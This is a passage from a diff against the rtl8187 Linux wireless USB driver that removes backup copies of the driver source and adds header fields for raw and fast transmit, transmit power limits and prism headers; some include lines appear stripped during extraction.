is a RTL8185 b/g"); - priv->card_8185 = 1; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); - priv->card_8185 = 2; - /* you should not find a card with 8225 PHY ver < C*/ - priv->phy_ver = 2; - break; - - case HW_VERID_R8180_ABCD: - DMESG("MAC controller is a RTL8180"); - priv->card_8185 = 0; - break; - - case HW_VERID_R8180_F: - DMESG("MAC controller is a RTL8180 (v. F)"); - priv->card_8185 = 0; - break; - - default: - DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); - priv->card_8185 = 0; - break; - } - - - /* you should not found any 8185 Ver B Card */ - priv->card_8185_Bversion = 0; - - config3 = read_nic_byte(dev, CONFIG3); - if(config3 & 0x8){ - priv->card_type = CARDBUS; - DMESG("This is a CARDBUS NIC"); - } - else if( config3 & 0x4){ - priv->card_type = MINIPCI; - DMESG("This is a MINI-PCI NIC"); - }else{ - priv->card_type = PCI; - DMESG("This is a PCI NIC"); - } - #endif - priv->enable_gpio0 = 0; - - - /* commented out just because we already do - this when resetting the card - andrea 20050924 - */ - #if 0 - - u8 txcr, txreg50; - u32 txreg54, txreg60; - - /* enable A/D D/A register */ - txcr = read_nic_byte(dev, 0x59); -// DMESG("", txcr); - //write_nic_word(dev, 0x59, 0x44); - write_nic_byte(dev, 0x59, 0x44); - //write_nic_byte(dev, 0x59, 0xea); - txcr = read_nic_byte(dev, 0x59); -// DMESG("<>", txcr); - - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("", txreg50); - write_nic_byte(dev, 0x50, 0xc0); - txreg50 = read_nic_byte(dev, 0x50); - // DMESG("<>", txreg50); - - - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("", txreg54); - txreg54 = 0xa0000a59; - // DMESG("<>", txreg54); - write_nic_dword(dev, 0x54, txreg54); - txreg54 = read_nic_dword(dev, 0x54); - // DMESG("<<>>", txreg54); - - txreg60 = read_nic_dword(dev, 0x60); - // DMESG("", txreg60); - - write_nic_byte(dev, 0x50, 0x0); - txcr = read_nic_byte(dev, 0x50); - // DMESG("<>", txcr); - -#endif - - /*the eeprom type is stored in RCR register bit #6 */ - if (RCR_9356SEL & read_nic_dword(dev, RCR)){ - priv->epromtype=EPROM_93c56; - DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); - }else{ - priv->epromtype=EPROM_93c46; - DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); - } - - dev->get_stats = rtl8180_stats; - - dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; - dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; - dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; - dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; - dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; - dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - - DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - - for(i=1,j=0; i<6; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW0 + j); - priv->chtxpwr[i]=word & 0xf; - priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; - priv->chtxpwr[i+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW1 + j); - priv->chtxpwr[i+6]=word & 0xf; - priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; - } - - for(i=1,j=0; i<4; i+=2,j++){ - - word = eprom_read(dev,EPROM_TXPW2 + j); - priv->chtxpwr[i+6+4]=word & 0xf; - priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; - priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; - priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; - } - - - priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - - word = eprom_read(dev,EPROM_TXPW_BASE); - priv->cck_txpwr_base = word & 0xf; - priv->ofdm_txpwr_base = (word>>4) & 0xf; - - /* check RF frontend chipset */ - - switch (priv->rf_chip) { - - case EPROM_RFCHIPID_RTL8225U: - - DMESG("Card reports RF frontend Realtek 8225"); - DMESGW("This driver has EXPERIMENTAL support for this chipset."); - DMESGW("use it with care and at your own risk and"); - DMESGW("**PLEASE** REPORT SUCCESS/INSUCCESS TO andreamrl@tiscali.it"); - if(rtl8225_is_V_z2(dev)){ - priv->rf_init = rtl8225z2_rf_init; - priv->rf_set_chan = rtl8225z2_rf_set_chan; - priv->rf_set_sens = NULL; - DMESG("This seems a new V2 radio"); - }else{ - priv->rf_init = rtl8225_rf_init; - priv->rf_set_chan = rtl8225_rf_set_chan; - priv->rf_set_sens = rtl8225_rf_set_sens; - DMESG("This seems a legacy 1st version radio"); - } - priv->rf_close = rtl8225_rf_close; - - priv->max_sens = RTL8225_RF_MAX_SENS; - priv->sens = RTL8225_RF_DEF_SENS; - break; - - default: - DMESGW("Unknown RF module %x",priv->rf_chip); - DMESGW("Exiting..."); - return -1; - - } - -// DMESG("Energy threshold: %x",priv->cs_treshold); - DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); - //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ - DMESG("Endopoints initialization failed"); - return -ENOMEM; - } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_NORMPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_HIGHPRIORITY_RING_ADDR)) - return -ENOMEM; - - if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, - TX_LOWPRIORITY_RING_ADDR)) - return -ENOMEM; - - - if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) - return -ENOMEM; -#endif - - -#ifdef DEBUG_EPROM - dump_eprom(dev); -#endif - return 0; - -} - -void rtl8185_rf_pins_enable(struct net_device *dev) -{ -/* u16 tmp; - tmp = read_nic_word(dev, RFPinsEnable);*/ - write_nic_word(dev, RFPinsEnable, 0x1ff7);// | tmp); -} - - -void rtl8185_set_anaparam2(struct net_device *dev, u32 a) -{ - u8 conf3; - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); - write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); - write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); - write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); - - //read_nic_dword(dev, PHY_ADR); -#if 0 - for(i=0;i<10;i++){ - write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); - phyr = read_nic_byte(dev, PHY_READ); - if(phyr == (data&0xff)) break; - - } -#endif - /* this is ok to fail when we write AGC table. check for AGC table might be - * done by masking with 0x7f instead of 0xff - */ - //if(phyr != (data&0xff)) DMESGW("Phy write timeout %x %x %x", phyr, data, adr); - mdelay(1); -} - - -inline void write_phy_ofdm (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data); -} - - -void write_phy_cck (struct net_device *dev, u8 adr, u32 data) -{ - data = data & 0xff; - rtl8187_write_phy(dev, adr, data | 0x10000); -} - - -void rtl8180_adapter_start(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //u32 anaparam; - //u8 config3; - - //rtl8180_rtx_disable(dev); - rtl8180_reset(dev); - - write_nic_byte(dev,0x85,0); - write_nic_byte(dev,0x91,0); - - /* light blink! */ - write_nic_byte(dev,0x85,4); - write_nic_byte(dev,0x91,1); - write_nic_byte(dev,0x90,0); - - priv->irq_mask = 0xffff; -/* - priv->dma_poll_mask = 0; - priv->dma_poll_mask|= (1<dev_addr)[0]); - write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - rtl8180_update_msr(dev); - - rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - - write_nic_word(dev,0xf4,0xffff); - write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); - - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); - -#ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); -#endif - - - write_nic_byte(dev, WPA_CONFIG, 0); - - write_nic_byte(dev, RATE_FALLBACK, 0x81); - rtl8187_set_rate(dev); - - priv->rf_init(dev); - - if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - - write_nic_word(dev,0x5e,1); - - #if 1 - //mdelay(1); - write_nic_word(dev,0xfe,0x10); -// mdelay(1); - #endif - write_nic_byte(dev, TALLY_SEL, 0x80);//Set NQ retry count - - write_nic_byte(dev, 0xff, 0x60); - - write_nic_word(dev,0x5e,0); - - - rtl8180_irq_enable(dev); - /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - - DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - - DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); - if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); - if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); - if(check_nic_enought_desc(dev,LOW_PRIORITY)) DMESG("LOW OK");*/ -} - - - -/* this configures registers for beacon tx and enables it via - * rtl8180_beacon_tx_enable(). rtl8180_beacon_tx_disable() might - * be used to stop beacon transmission - */ -#if 0 -void rtl8180_start_tx_beacon(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; - DMESG("Enabling beacon TX"); - //write_nic_byte(dev, 0x42,0xe6);// TCR - //rtl8180_init_beacon(dev); - //set_nic_txring(dev); -// rtl8180_prepare_beacon(dev); - rtl8180_irq_disable(dev); -// rtl8180_beacon_tx_enable(dev); - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - //write_nic_byte(dev,0x9d,0x20); //DMA Poll - //write_nic_word(dev,0x7a,0); - //write_nic_word(dev,0x7a,0x8000); - - - word = read_nic_word(dev, BcnItv); - word &= ~BcnItv_BcnItv; // clear Bcn_Itv - write_nic_word(dev, BcnItv, word); - - write_nic_word(dev, AtimWnd, - read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - - word = read_nic_word(dev, BintrItv); - word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * - // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); - // FIXME:FIXME check if correct ^^ worked with 0x3e8; - - write_nic_word(dev, BintrItv, word); - - //write_nic_word(dev,0x2e,0xe002); - //write_nic_dword(dev,0x30,0xb8c7832e); - for(i=0; iieee80211->beacon_cell_ssid[i]); - -// rtl8180_update_msr(dev); - - - //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - - rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - - rtl8180_irq_enable(dev); - - /* VV !!!!!!!!!! VV*/ - /* - rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -*/ -} -#endif -/*************************************************************************** - -------------------------------NET STUFF--------------------------- -***************************************************************************/ -static struct net_device_stats *rtl8180_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->ieee80211->stats; -} - - -int _rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->up=1; - - //DMESG("Bringing up iface"); - - rtl8180_adapter_start(dev); - - rtl8180_rx_enable(dev); - - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); - if(!netif_queue_stopped(dev)) - netif_start_queue(dev); - else - netif_wake_queue(dev); - - return 0; -} - - -int rtl8180_open(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - ret = rtl8180_up(dev); - up(&priv->wx_sem); - return ret; - -} - - -int rtl8180_up(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 1) return -1; - - return _rtl8180_up(dev); -} - - -int rtl8180_close(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - - down(&priv->wx_sem); - - ret = rtl8180_down(dev); - - up(&priv->wx_sem); - - return ret; - -} - -int rtl8180_down(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return -1; - - priv->up=0; - -/* FIXME */ - if (!netif_queue_stopped(dev)) - netif_stop_queue(dev); - - rtl8180_rtx_disable(dev); - rtl8180_irq_disable(dev); - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - return 0; -} - - -void rtl8180_commit(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - - rtl8180_irq_disable(dev); - rtl8180_rtx_disable(dev); - _rtl8180_up(dev); -} - -void rtl8180_restart(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - down(&priv->wx_sem); - - rtl8180_commit(dev); - - up(&priv->wx_sem); -} - -static void r8180_set_multicast(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - short promisc; - - //down(&priv->wx_sem); - - /* FIXME FIXME */ - - promisc = (dev->flags & IFF_PROMISC) ? 1:0; - - if (promisc != priv->promisc) - // rtl8180_commit(dev); - - priv->promisc = promisc; - - //schedule_work(&priv->reset_wq); - //up(&priv->wx_sem); -} - - -int r8180_set_mac_adr(struct net_device *dev, void *mac) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - struct sockaddr *addr = mac; - - down(&priv->wx_sem); - - memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - - schedule_work(&priv->reset_wq); - - up(&priv->wx_sem); - - return 0; -} - - -/* based on ipw2200 driver */ -int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h 2006-06-06 02:48:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-08-12 13:11:32.000000000 -0400 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +168,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +181,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +235,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +249,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h~ 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct 